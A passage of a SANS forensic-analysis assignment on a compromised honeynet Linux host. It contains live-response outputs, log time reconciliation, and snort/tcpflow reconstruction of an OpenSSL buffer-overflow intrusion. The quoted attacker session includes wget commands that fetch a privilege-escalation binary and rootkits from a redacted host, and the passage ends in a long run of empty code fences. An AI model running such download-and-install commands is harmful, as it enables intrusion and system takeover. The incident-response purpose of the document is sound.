<td>0.3</td>
<td>1368</td>
<td>432</td>
<td>?</td>
<td>S</td>
<td>Jun23 0:05</td>
<td>init</td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>2</td>
<td>0.0</td>
<td>0.0</td>
<td>0</td>
<td>0</td>
<td>?</td>
<td>S</td>
<td>Jun23 0:00</td>
<td>[keventd]</td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>3</td>
<td>0.0</td>
<td>0.0</td>
<td>0</td>
<td>0</td>
<td>?</td>
<td>S</td>
<td>Jun23 0:00</td>
<td>[kapmd]</td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>4</td>
<td>0.0</td>
<td>0.0</td>
<td>0</td>
<td>0</td>
<td>?</td>
<td>S</td>
<td>Jun23 0:00</td>
<td>[ksoftirqd_CPU0]</td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>5</td>
<td>0.0</td>
<td>0.0</td>
<td>0</td>
<td>0</td>
<td>?</td>
<td>S</td>
<td>Jun23 0:00</td>
<td>[kswapd]</td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>6</td>
<td>0.0</td>
<td>0.0</td>
<td>0</td>
<td>0</td>
<td>?</td>
<td>S</td>
<td>Jun23 0:00</td>
<td>[bdflush]</td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>7</td>
<td>0.0</td>
<td>0.0</td>
<td>0</td>
<td>0</td>
<td>?</td>
<td>S</td>
<td>Jun23 0:00</td>
<td>[kud_ld]</td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>8</td>
<td>0.0</td>
<td>0.0</td>
<td>0</td>
<td>0</td>
<td>?</td>
<td>S</td>
<td>Jun23 0:00</td>
<td>[mdrecoveryd]</td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>9</td>
<td>0.0</td>
<td>0.0</td>
<td>0</td>
<td>0</td>
<td>?</td>
<td>S</td>
<td>Jun23 0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>10</td>
<td>0.0</td>
<td>0.0</td>
<td>0</td>
<td>0</td>
<td>?</td>
<td>S</td>
<td>Jun23 0:00</td>
<td>[khubd]</td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>12</td>
<td>0.0</td>
<td>0.0</td>
<td>0</td>
<td>0</td>
<td>?</td>
<td>S</td>
<td>Jun23 0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>16</td>
<td>0.0</td>
<td>0.0</td>
<td>0</td>
<td>0</td>
<td>?</td>
<td>S</td>
<td>Jun23 0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>18</td>
<td>0.0</td>
<td>0.0</td>
<td>0</td>
<td>0</td>
<td>?</td>
<td>S</td>
<td>Jun23 0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>19</td>
<td>0.0</td>
<td>0.0</td>
<td>0</td>
<td>0</td>
<td>?</td>
<td>S</td>
<td>Jun23 0:00</td>
<td>[kjournald]</td>
<td></td>
</tr>
<tr>
<td>rpcuser</td>
<td>657</td>
<td>0.0</td>
<td>0.0</td>
<td>1556</td>
<td>600</td>
<td>?</td>
<td>S</td>
<td>Jun23 0:00</td>
<td>rpc.statd</td>
<td></td>
</tr>
<tr>
<td>root</td>
<td>700</td>
<td>0.0</td>
<td>0.3</td>
<td>1368</td>
<td>412</td>
<td>?</td>
<td>S</td>
<td>Jun23 0:00</td>
<td>/usr/sbin/apmd -p 10 -w S -W -P /etc/sysconfig/apm-scripts/apmstart</td>
<td></td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4

Page 172

crond

root 935 0.0 0.3 1400 384 ? S Jun23 0:00 gpm -t ps/2 -m /dev/mouse
root 953 0.0 0.4 1536 560 ? S Jun23 0:00 crond
xfs 1005 0.0 1.2 7584 1568 ? S Jun23 0:03 xfs -droppriv -daemon
deamon 1041 0.0 0.3 1404 468 ? S Jun23 0:00 /usr/sbin/atd
root 1050 0.0 0.2 1344 336 tty1 S Jun23 0:00 /sbin/mingetty tty1
root 1051 0.0 0.2 1344 336 tty2 S Jun23 0:00 /sbin/mingetty tty2
root 1052 0.0 0.2 1344 336 tty3 S Jun23 0:00 /sbin/mingetty tty3
root 1053 0.0 0.2 1344 336 tty4 S Jun23 0:00 /sbin/mingetty tty4
root 1054 0.0 0.2 1344 336 tty5 S Jun23 0:00 /sbin/mingetty tty5
root 1055 0.0 0.2 1344 336 tty6 S Jun23 0:00 /sbin/mingetty tty6
root 1056 0.0 0.3 2404 396 ? S Jun23 0:00 /usr/bin/kdm -nodaemon
root 1067 0.0 0.5 3272 668 ? S Jun23 0:00 -i
userid1 1091 0.0 0.7 2240 892 ? S Jun23 0:00 /bin/sh /usr/bin/startkde
userid1 1175 0.0 1.3 19460 1700 ? S Jun23 0:00 kdeinit: Running...
userid1 1178 0.0 1.5 19420 1952 ? S Jun23 0:00 kdeinit: dcopserver --nosid
userid1 1181 0.0 2.0 20376 2560 ? S Jun23 0:00 kdeinit: klauncher
userid1 1183 2.0 2.0 21124 2624 ? S Jun23 0:00 kdeinit: kded
userid1 1192 0.0 0.7 6148 992 ? S Jun23 0:02 /usr/bin/artsd -DHAVE_ACCESS -DHAVE_PROXY -DHAVE_AUTH_ANON -DHAVE_AC
userid1 1203 0.0 2.0 23220 2640 ? S Jun23 0:03 kdeinit: knotify
userid1 1208 0.0 0.2 1416 268 ? S Jun23 0:00 kwrapper kmserver --restore
userid1 1210 0.0 1.9 20420 2484 ? S Jun23 0:00 kdeinit: kmserver --restore
userid1 1211 0.0 3.0 21696 3916 ? S Jun23 0:00 /var/run/xauth/A:0
userid1 1217 0.0 4.5 24360 5820 ? S Jun23 0:19 kdeinit: kicker
deployer=userid1 1218 0.0 2.2 21124 2860 ? S Jun23 0:51 kdeinit: klipper –icon klipper –
minicon kclipper
userid1 1226 0.0 1.9 21112 2528 ? S Jun23 0:00 kdeinit: kwired
userid1 1228 0.0 1.9 20416 2512 ? S Jun23 0:00 korgac –minicon korganizer
userid1 1230 0.0 1.7 20184 2208 ? S Jun23 0:00 kalarm --login
userid1 1232 0.0 2.9 23400 3688 ? S Jun23 5:05 kdeinit: konsole –icon konsole –
minicon konsole
userid1 1234 0.0 0.7 2520 980 pts/1 S Jun23 0:00 /bin/bash
root 1266 0.0 0.5 2332 656 pts/1 S Jun23 0:00 su –
root 1269 0.0 0.7 2448 980 pts/1 S Jun23 0:00 /bin/bash
userid1 1133 0.0 2.1 20968 2688 ? S Jun23 0:00 kdeinit: kcookiejar
userid1 1135 0.0 0.9 13656 1256 ? S Jun26 0:00 kdesud
userid1 1168 0.0 3.5 22800 4528 ? S Jun27 0:13 kdeinit: konsole –icon konsole –
minicon konsole
userid1 1210 0.0 0.7 2520 980 pts/2 S Jun27 0:00 /bin/bash
root 7203 0.0 0.5 2332 656 pts/2 S Jun27 0:00 su –
root 7206 0.0 0.8 2464 1220 pts/2 S Jun27 0:00 /bin/bash
root 8125 0.0 0.9 79664 1200 ? S Jun27 0:01 /usr/sbin/httpd –DHAVE_ACCESS –
DHAVE_PROXY –DHAVE_AUTH_ANON –DHAVE_AC
root 8154 0.0 0.6 5728 776 ? S Jun27 0:00 /usr/sbin/snmpd -s -l /dev/null -P
"/var/run/snmpd -a
apache 10600 0.0 1.0 79844 1340 ? S Jun29 0:00 /usr/sbin/httpd –DHAVE_ACCESS –
DHAVE_PROXY –DHAVE_AUTH_ANON –DHAVE_AC
apache 10607 0.0 0.9 79824 1244 ? S Jun29 0:00 /usr/sbin/httpd –DHAVE_ACCESS –
DHAVE_PROXY –DHAVE_AUTH_ANON –DHAVE_AC
apache 10608 0.0 0.9 79824 1260 ? S Jun29 0:00 /usr/sbin/httpd –DHAVE_ACCESS –
DHAVE_PROXY –DHAVE_AUTH_ANON –DHAVE_AC
apache 10609 0.0 0.9 79824 1244 ? S Jun29 0:00 /usr/sbin/httpd –DHAVE_ACCESS –
DHAVE_PROXY –DHAVE_AUTH_ANON –DHAVE_AC
apache 10610 0.0 0.9 79824 1260 ? S Jun29 0:00 /usr/sbin/httpd –DHAVE_ACCESS –
DHAVE_PROXY –DHAVE_AUTH_ANON –DHAVE_AC
apache 10611 0.0 0.9 79824 1244 ? S Jun29 0:00 /usr/sbin/httpd –DHAVE_ACCESS –
DHAVE_PROXY –DHAVE_AUTH_ANON –DHAVE_AC
apache 10612 0.0 0.9 79824 1244 ? S Jun29 0:00 /usr/sbin/httpd –DHAVE_ACCESS –
DHAVE_PROXY –DHAVE_AUTH_ANON –DHAVE_AC
apache 10613 0.0 0.9 79824 1244 ? S Jun29 0:00 /usr/sbin/httpd –DHAVE_ACCESS –
DHAVE_PROXY –DHAVE_AUTH_ANON –DHAVE_AC
apache 19365 0.0 0.9 79824 1256 ? S Jun29 0:00 /usr/sbin/httpd –DHAVE_ACCESS –
DHAVE_PROXY –DHAVE_AUTH_ANON –DHAVE_AC
apache 19366 0.0 0.9 79824 1248 ? S Jun29 0:00 /usr/sbin/httpd –DHAVE_ACCESS –
DHAVE_PROXY –DHAVE_AUTH_ANON –DHAVE_AC

HOME: /home/kevinm
PATH: /usr/local/bin:/usr/bin:/bin:

"
lsmod.txt

Module Size Used by Not tainted
nls_iso8859-1 3488 1 (autoclean)
iptables_filter 2752 0 (autoclean) (unused)
### ip_tables

<table>
<thead>
<tr>
<th>Name</th>
<th>PID</th>
<th>Flags</th>
</tr>
</thead>
<tbody>
<tr>
<td>soundcore</td>
<td>6692</td>
<td>(autoclean)</td>
</tr>
<tr>
<td>Autofs</td>
<td>12164</td>
<td>(autoclean)</td>
</tr>
<tr>
<td>ee probe 100</td>
<td>20336</td>
<td>1</td>
</tr>
<tr>
<td>ide-cd</td>
<td>30272</td>
<td>(autoclean)</td>
</tr>
<tr>
<td>CDRom</td>
<td>32192</td>
<td>(autoclean)</td>
</tr>
<tr>
<td>USB-UHCI</td>
<td>24484</td>
<td>(unused)</td>
</tr>
<tr>
<td>USB core</td>
<td>73152</td>
<td>1</td>
</tr>
<tr>
<td>ext 3</td>
<td>67136</td>
<td>5</td>
</tr>
<tr>
<td>jbd</td>
<td>49400</td>
<td>5</td>
</tr>
</tbody>
</table>

### netstat-routes.txt

#### Kernel IP routing table

<table>
<thead>
<tr>
<th>Destination</th>
<th>Gateway</th>
<th>Genmask</th>
<th>Flags</th>
<th>MSS</th>
<th>Window</th>
<th>Irtt</th>
<th>Iface</th>
</tr>
</thead>
<tbody>
<tr>
<td>192.168.2.0</td>
<td>0.0.0.0</td>
<td>255.255.255.0</td>
<td>U</td>
<td>40</td>
<td>0</td>
<td>0</td>
<td>eth0</td>
</tr>
<tr>
<td>127.0.0.0</td>
<td>192.168.2.1</td>
<td>0.0.0.0</td>
<td>UG</td>
<td>40</td>
<td>0</td>
<td>0</td>
<td>eth0</td>
</tr>
</tbody>
</table>

### ifconfig.txt

- **eth0**
  - Link: Ethernet  HWaddr 00:50:8B:0D:50:56
  - inet addr: 192.168.2.15 Bcast: 192.168.2.255 Mask: 255.255.255.0
  - UP BROADCAST RUNNING PROMISC MULTICAST MTU: 1500 Metric: 1
  - RX packets: 56788 errors: 0 dropped: 0 overruns: 0 frame: 1
  - TX packets: 94732 errors: 0 dropped: 0 overruns: 0 carrier: 0
  - collisions: 3023 txqueue: 100
  - RX bytes: 11574349 (11.0 Mb) TX bytes: 15015679 (14.3 Mb)
  - Interrupt: 11 Base address: 0x1000

- **eth1**
  - Link: Ethernet  HWaddr 00:90:27:89:8E:64
  - BROADCAST MULTICAST MTU: 1500 Metric: 1
  - RX packets: 0 errors: 0 dropped: 0 overruns: 0 frame: 0
  - TX packets: 0 errors: 0 dropped: 0 overruns: 0 carrier: 0
  - collisions: 0 txqueue: 100
  - RX bytes: 0 (0.0 b) TX bytes: 0 (0.0 b)
  - Interrupt: 11 Base address: 0x3000

- **lo**
  - Link: Local Loopback
  - inet addr: 127.0.0.1 Mask: 255.0.0.0
  - UP LOOPBACK RUNNING MTU: 16436 Metric: 1
  - RX packets: 353 errors: 0 dropped: 0 overruns: 0 frame: 0
  - TX packets: 353 errors: 0 dropped: 0 overruns: 0 carrier: 0
  - collisions: 0 txqueue: 0
  - RX bytes: 44009 (42.9 Kb) TX bytes: 44009 (42.9 Kb)

### Proc-filesystem.txt

<table>
<thead>
<tr>
<th>Name</th>
<th>PID</th>
<th>Flags</th>
<th>User</th>
<th>Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>dr-xr-xr-x</td>
<td>130</td>
<td>root</td>
<td>root</td>
<td>0 Jun 23 05:58</td>
</tr>
<tr>
<td>dr-xr-xr-x</td>
<td>20</td>
<td>root</td>
<td>root</td>
<td>1024 Jun 29 15:22</td>
</tr>
<tr>
<td>dr-xr-xr-x</td>
<td>3</td>
<td>root</td>
<td>root</td>
<td>0 Jun 30 17:29 1</td>
</tr>
<tr>
<td>dr-xr-xr-x</td>
<td>3</td>
<td>xfs</td>
<td>xfs</td>
<td>0 Jun 30 17:29 1005</td>
</tr>
<tr>
<td>dr-xr-xr-x</td>
<td>3</td>
<td>daemon</td>
<td>daemon</td>
<td>0 Jun 30 17:29 1041</td>
</tr>
<tr>
<td>dr-xr-xr-x</td>
<td>3</td>
<td>root</td>
<td>root</td>
<td>0 Jun 30 17:29 1050</td>
</tr>
<tr>
<td>dr-xr-xr-x</td>
<td>3</td>
<td>root</td>
<td>root</td>
<td>0 Jun 30 17:29 1051</td>
</tr>
</tbody>
</table>
dr-xr-xr-x 3 root root 0 Jun 30 17:29 28979
dr-xr-xr-x 3 user1 user1 0 Jun 30 17:29 28981
dr-xr-xr-x 3 user1 user1 0 Jun 30 17:29 28983
dr-xr-xr-x 3 root user1 0 Jun 30 17:29 29021
dr-xr-xr-x 3 root root 0 Jun 30 17:29 29024
dr-xr-xr-x 3 user1 user1 0 Jun 30 17:29 29110
dr-xr-xr-x 3 user1 user1 0 Jun 30 17:29 29120
dr-xr-xr-x 3 user1 user1 0 Jun 30 17:29 29122
dr-xr-xr-x 3 user1 user1 0 Jun 30 17:29 29124
dr-xr-xr-x 3 user1 user1 0 Jun 30 17:29 29125
dr-xr-xr-x 3 user1 user1 0 Jun 30 17:29 29129
dr-xr-xr-x 3 user1 user1 0 Jun 30 17:29 29132
dr-xr-xr-x 3 user1 user1 0 Jun 30 17:29 29133
dr-xr-xr-x 3 user1 user1 0 Jun 30 17:29 29134
dr-xr-xr-x 3 root root 0 Jun 30 17:29 29136
dr-xr-xr-x 3 root root 0 Jun 30 17:29 29137
dr-xr-xr-x 3 root root 0 Jun 30 17:29 29165
dr-xr-xr-x 3 root root 0 Jun 30 17:29 29222
dr-xr-xr-x 3 root root 0 Jun 30 17:29 29223
dr-xr-xr-x 3 root root 0 Jun 30 17:29 3
dr-xr-xr-x 3 root root 0 Jun 30 17:29 4
dr-xr-xr-x 3 root root 0 Jun 30 17:29 5
dr-xr-xr-x 3 root root 0 Jun 30 17:29 6
dr-xr-xr-x 3 user1 user1 0 Jun 30 17:29 6133
dr-xr-xr-x 3 user1 root 0 Jun 30 17:29 6135
dr-xr-xr-x 3 rpcuser rpcuser 0 Jun 30 17:29 657
dr-xr-xr-x 3 root root 0 Jun 30 17:29 7
dr-xr-xr-x 3 user1 user1 0 Jun 30 17:29 7168
dr-xr-xr-x 3 user1 user1 0 Jun 30 17:29 7170
dr-xr-xr-x 3 root user1 0 Jun 30 17:29 7203
dr-xr-xr-x 3 root root 0 Jun 30 17:29 7206
dr-xr-xr-x 3 root root 0 Jun 30 17:29 770
dr-xr-xr-x 3 ntp ntp 0 Jun 30 17:29 790
dr-xr-xr-x 3 root root 0 Jun 30 17:29 8
dr-xr-xr-x 3 root root 0 Jun 30 17:29 8125
dr-xr-xr-x 3 root root 0 Jun 30 17:29 8154
dr-xr-xr-x 3 root root 0 Jun 30 17:29 842
dr-xr-xr-x 3 root root 0 Jun 30 17:29 875
dr-xr-xr-x 3 root root 0 Jun 30 17:29 91
dr-xr-xr-x 3 root root 0 Jun 30 17:29 916
dr-xr-xr-x 3 root root 0 Jun 30 17:29 935
dr-xr-xr-x 3 root root 0 Jun 30 17:29 953
- -r--r--r-- 1 root root 0 Jun 30 17:29 apm
dr-xr-xr-x 4 root root 0 Jun 23 11:58 bus
- -r--r--r-- 1 root root 0 Jun 30 17:29 cmdline
- -r--r--r-- 1 root root 0 Jun 30 17:29 cpuinfo
- -r--r--r-- 1 root root 0 Jun 30 17:29 devices
- -r--r--r-- 1 root root 0 Jun 30 17:29 dma
dr-xr-xr-x 2 root root 0 Jun 30 17:29 driver
- -r--r--r-- 1 root root 0 Jun 30 17:29 exedomains
- -r--r--r-- 1 root root 0 Jun 30 17:29 fb
- -r--r--r-- 1 root root 0 Jun 30 17:29 filesystems
dr-xr-xr-x 2 root root 0 Jun 30 17:29 fs
dr-xr-xr-x 4 root root 0 Jun 30 17:29 ide
- -r--r--r-- 1 root root 0 Jun 30 17:29 interrupts
- -r--r--r-- 1 root root 0 Jun 30 17:29 iomem
- -r--r--r-- 1 root root 0 Jun 30 17:29 ioports
dr-xr-xr-x 18 root root 0 Jun 30 17:29 irq
- -r------- 1 root root 134221824 Jun 30 17:29 kcore
- -r------- 1 root root 0 Jun 30 17:29 kmseg
- -r------- 1 root root 0 Jun 30 17:29 ksyms
- -r------- 1 root root 0 Jun 30 17:29 loadavg
- -r------- 1 root root 0 Jun 30 17:29 locks
- -r------- 1 root root 0 Jun 30 17:29 mdstat
- -r------- 1 root root 0 Jun 30 17:29 meminfo
- -r------- 1 root root 0 Jun 30 17:29 misc
- -r------- 1 root root 0 Jun 30 17:29 modules
rwxrwxrwx 1 root root 11 Jun 30 17:29 mounts -> self/mounts
-rw-r-r--r-- 1 root root 66 Jun 23 12:00 mtrr
dr-xr-xr-x 3 root root 0 Jun 30 17:29 net
- -r--r--r-- 1 root root 0 Jun 30 17:29 partitions
Kevin Miller - Sans GCFA Assignment – v1.4

-stoptime.txt

Mon Jun 30 17:31:02 CST 2003

Live-response-june30.md5

df2abab55743c9e230e36930ea38bbab *ifconfig.txt
5fa0917f700a220d79c126cad2de36f4 *lsmod.txt
232cb0b32469842e965b877a0deec06a *lssof.txt
6c1fc3e61d32283a0685464230cdefeb *netstat-routes.txt
662e13363bc2f0600e62802ab0c0f09a *netstat-sockets.txt
345ad946355ca8c1c82323dcf576c8f3 *proc-filelist.txt
b3a82cc22339e0b46157ea700d6564b1 *ps.txt
2117efa19b00e242c2ad902fc4deaa7 *starttime.txt
4987992ca38fbc2130a1f4ba5bffc84 *stoptime.txt
5e344d4b030b44f1bcc4b415b649293 *w.txt
Appendix E

Log File review

The log analysis consisted of analyzing the evidence from CDROM, Tag item #05. The log files were from the snort host, sebek log host and a dd image of the var partition from the central log server. MD5 hashes were included for each file on the CDROM.

It was noted that the evidence from the central log server was not gathered until October. The log rotation on the log server had over written the logs from June 29, 2003. To recover the deleted log file evidence the following was done:

1. The server was booted into single user mode with init 0.
2. At the root prompt the /var partition was imaged to a file with the following command:
   a. dd if=/dev/ida/c0d0p7 of=/root/varddimage bs=1024 conv=noerror,notrunc,sync
3. The image was compressed using gzip and an MD5 checksum done of the file. The file was then burned to CDROM.

The varddimage.gz was copied to forensic workstation and the MD5 checksum verified. The varddimage.gz file was uncompressed, previewed, acquired and verified using EnCase.

To search the slack space, a new keyword or ‘June 29’ was entered into EnCase under the keyword tab. A search was done using the new keyword. The recovered log evidence was analyzed and used to verify evidence found on the victim machine. Refer to the EnCase report (Appendix F – “Var partition from Logserver”) for the complete list of recovered log files.

The difference in times between the various hosts created a problem. Date and time mismatches existed between the victim system, firewall, logserver, snort host and sebek host. The log server was configured to use ntp. Sebek packets from the victim, showed a mixture of non-sequential dates including some dates in 1971. The mismatched date and time stamps from the sebek logs pointed to possible date manipulation by the attacker on the victim machine.

To reconcile time differences the logs were reviewed looking for unique events. Unique log events were used to identify the time differences between the hosts. The time delta was then calculated using these unique events.

The snort host time was behind the firewall time by 8 minutes 25 seconds. The firewall recorded logs to the central log server.
Firewall log from log server;

<table>
<thead>
<tr>
<th>Time</th>
<th>Source IP</th>
<th>Destination IP</th>
<th>Protocol</th>
<th>Port</th>
<th>Port</th>
<th>Interface</th>
<th>Flags</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<tr>
<td>15:50:35</td>
<td>192.168.1.1</td>
<td>192.168.2.15</td>
<td>TCP</td>
<td>1274</td>
<td>251</td>
<td>sis2</td>
<td>0x2</td>
<td>Pass</td>
</tr>
</tbody>
</table>

Tcpdump from snort host;

15:42:10 192.168.2.15 1274 > XXX.XXX.42.58.251: S
904588511:904588511(0) win 5840 <mss 1460,sackOK,timestamp 53240532 0,nop,wscale 0> (DF)

The live response procedure provided a correction time for the Sebek event log. The start time from the live response from the victim machine was 17:18:51, the sebek time for the same event was 23:06:09 and the time of the event from the tcpdump log was 17:10:23.

The snort host was used as the reference time. Following this, it was determined that:

- The victim machine was 8 minutes 28 seconds ahead of the snort host.
- The Sebek logs were 5 hours 55 minutes and 46 seconds ahead of the snort host.
- The Sebek logs were 5 hours 47 minutes and 18 seconds ahead of the victim machine.

Starttime from Live response;

Mon Jun 30 17:18:51 CST 2003

Sebek log event for recording startime for live response;

23:06:09-2003/06/30 [0:sh:29165:pts:0]/mnt/cdrom/date | /mnt/cdrom/mc wwwnc 192.168.2.120 1111

The command ‘snort -r tcpdump.log.1056855401 > tcpdump.out’ was used to read the binary tcpdump log file and output a readable output file. The tcpdump log files were used to calculate time differences in with other the log files.

Snort was configured to collect alerts, store session data and collect binary tcpdump logging. The command used on the snort host was:

#snort -d -D -c /usr/local/etc/snort.conf -i fxp1 -l DIR/$DATE
The snort options are defined below:

```
"-d" logs the packet details  
"-D" runs snort in daemon mode  
"-c" tells snort what configuration file to use  
"-i" identifies the interface to monitor  
"-l" defines the directory to log to
```

Additional configuration information found in the snort.conf file defines tcpdump binary logging and output alert logging for full and fast alerts.

Both snort and tcpdump were used to analyze the traffic to and from the victim.

The snort alerts and tcpdump logging showed a series of connections from IP XXX.XXX.120.163 starting at 14:44:41 through to 14:45:38. The connection(s) started with an ICMP echo request and reply, and an attempted connection to port 445 (microsoft-ds) and a connection to port 80 (http). Using www.ripe.net a whois lookup was done on IP XXX.XXX.120.163. The IP belongs to Netvision's BroadBand service located in Haifa, Israel.

The next session begins the compromise of the victim machine on port 443. The IP address that connects is XXX.XXX.108.64 at 14:47:43. This session compromised the victim Linux host through TCP port 443. The sessions have the CERT® worm, “OpenSSL servers contain a buffer overflow during the SSL2 handshake process”¹⁷ signature. The snort alerts shown below are triggered by the following “TERM=xterm” in the content portion of a TCP port 443 (SSL) packet.

```
*Below IP XXX.XXX 108.64 is initiating the TCP three-way handshake (syn-syn/ack-ack) on port 443.
```

```
14:47:43.776389 XXX.XXX.108.64.55526 > 192.168.2.15.443: F 14:56:15.842487 XXX.XXX.108.64.34919 > 192.168.2.15.80: F 19:19(0) ack 678 win 6760 <nop,nop,timestamp 5846769 52965051> (DF)  
14:47:43.776389 XXX.XXX.108.64.34919 > 192.168.2.15.80: . ack 19 win 5792 <nop,nop,timestamp 5846769 52965051> (DF)
```

```
IP XXX.XXX 108.64 initiates a TCP three-way handshake (syn-syn/ack-ack) on port 80.
```

```
14:56:15.502961 XXX.XXX.108.64.34919 > 192.168.2.15.80: S 2344418901:2334418902(0) win 5840 <msg 1460,sackOK,timestamp 5795931 0,nop,wscale 0> (DF)  
14:56:15.502961 192.168.2.15.80 > XXX.XXX.108.64.34919: S 0,nop,timestamp 5795931 0,nop,wscale 0> (DF)  
14:56:15.502961 192.168.2.15.80 > XXX.XXX.108.64.34919: . ack 1 win 5840 <nop,nop,timestamp 5795931 0,nop,wscale 0> (DF)
```

¹⁷ “OpenSSL servers contain a buffer overflow during the SSL2 handshake process”, (www.kb.cert.org/vuls/id/102795), www.securityfocus.com/bin/5363
Portscan detected from 192.168.2.15: 1 targets 21 ports in 0 seconds [**] {TCP}

Using Tcpflow we see the request send from XXX.XXX.108.064.34919-192.168.002.015.00080

GET / HTTP/1.1

The response sent from 192.168.002.015.00080-XXX.XXX.108.064.34919

HTTP/1.1 400 Bad Request

Date: Sun, 29 Jun 2003 21:06:18 GMT
Server: Apache/1.3.23 (Unix) (Red-Hat/Linux) mod_ssl/2.8.7 OpenSSL/0.9.6b DAV/1.0.3 PHP/4.1.2 mod_perl/1.26
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html

Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 ...

The tcpdump binary log was parsed through tcpflow with the syntax

tcpflow -r tcpdump.log.1056866401 'port 34919'

The output was two files “ XXX.XXX.108.64.34919-192.168.002.015.00080” and “192.168.002.015.00080-XXX.XXX.108.064.34919”. The output is shown below;
Session logs from snort provided the session activity for the takeover of the victim system. Evidence from session logs demonstrate initial worm-like activity. A file named “r” is downloaded and used to elevate privileges to root and a root kit, s.tar.gz is downloaded and uncompressed. The program tcpflow was used to dump the session data. Below we see some of the session data, refer to “Appendix E - Tcpflow Output – Buffer Overflow and Root Kit placements.” for the complete session. The session started at 14:57:44 through to 15:29:41.

```
get XXX.XXX.com/eladoht/stuff/r;chmod +x r;
bash-2.05a$ --15:09:12-- http://XXX.XXX.com/eladoht/stuff/r
> r'
Resolving XXX.XXX.com... done.
Connecting to XXX.XXX.com[XXX.XXX.119.141]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,916 [text/plain]
0K .......... .........
100% 76.87 KB/s
15:09:13 (76.87 KB/s) - ‘r’ saved [19916/19916]
../r
bash-2.05a$ [+] Attached to 19506
[+] Signal caught
[+] Shellcode placed at 0x4000fd1d
[+] Now wait for suid shell...
su
duid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
rm -rf r
ls -al
..
wget XXX.XXX.com/eladoht/s.tar.gz
--15:11:16--  http://XXX.XXX.com/eladoht/s.tar.gz
 => `s.tar.gz'
... 
15:11:18  (195.87 KB/s) - `s.tar.gz' saved [352596/352596]
tar -zxvf s.tar.gz; rm -rf s.tar.gz;
... 
ls -al
total 39
... 
... 

cd .s
./install

The first session ends without the complete installation of the kit. At 15:09:40 two attempts are made to connect to the victim IP from IP XXX.XXX.119.81 on port 18. There is no service on port 18 so the connection is reset. A new series of sessions from IP address XXX.XXX.108.64 to 192.168.2.15 on port 443 is sent. This series is the OpenSSL buffer overflow attack. The overflow gains access and we see the installation of the root kit in tcpflow sessions XXX.XXX.108.064.35089-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35089. This session completes the installation of the rootkit in the directory /tmp/.s. This session started at 15:10:48 and completed at 15:15:18.
One more session is established to download and install bot.tar.gz. The bot.tar.gz kit is downloaded to the victim machine. This buffer over flow session is started at 15:18:22. The tcpflow sessions are XXX.XXX.108.064.35157-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35157. This session installs the bot rootkit from the directory /tmp/.font-unix after the buffer overflow session starts at 15:18:27 and completes at 15:30:03.

```
dir -al
```
```bash
 total 64
 drwxr-xr-x 20 root root 1024 Jun 29 15:22 ..
 drwxrwxrwx 2 root root 1024 Jun 23 12:18 .ICE-unix
 -rwxr-xr-x 1 root root 11 Jun 23 12:00 .X0-lock
 drwxrwxrwx 2 root root 1024 Jun 23 12:00 .X11-unix
 drwxrwxrwx 2 xfs xfs 1024 Jun 23 12:00 .font-unix
 drwxrwxrwt 2 root root 1024 Jun 23 12:00 .font-unix
 drwxrwxrwx 2 root root 1024 Jun 19 11:43 .kde
 drwxrwxrwx 2 root root 1024 Jun 19 11:43 .X0-lock
 drwxrwxrwx 2 root root 1024 Jun 19 11:43 .X11-unix
 drwxrwxrwx 2 root root 1024 Jun 19 11:43 .qt
 -rw------- 1 root root 1024 Jun 20 02:17 .rnd
 -rw-r--r-- 1 root root 13417 Jun 20 10:17 .xftcache
 -rw-r--r-- 1 root root 890 Jun 20 04:14 X-Test.log
 -rw-r--r-- 1 root root 4133 Jun 20 04:14 XF86Config.test
 drwx------- 2 userid1 userid1 1024 Jun 23 12:18 kde-userid
 drwx------- 2 userid1 userid1 1024 Jun 23 12:18 kde-root
 drwx------- 2 userid1 userid1 1024 Jun 26 16:40 ksocket-userid
 drwx------- 2 root root 1024 Jun 23 11:55 ksocket-root
 drwx------- 3 userid1 userid1 1024 Jun 23 12:18 mcop-userid
 drwx------- 3 root root 1024 Jun 23 10:55 mcop-root
 -rw-r-xr-x 1 apache apache 24012 Jun 29 15:28 .
 -rw------- 1 root root 0 Jun 29 04:02 session_mm_apache0.sem
 drwx------- 2 root root 1024 Jun 20 02:20 texconf.Nzu100
```
```
```
```bash
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
```
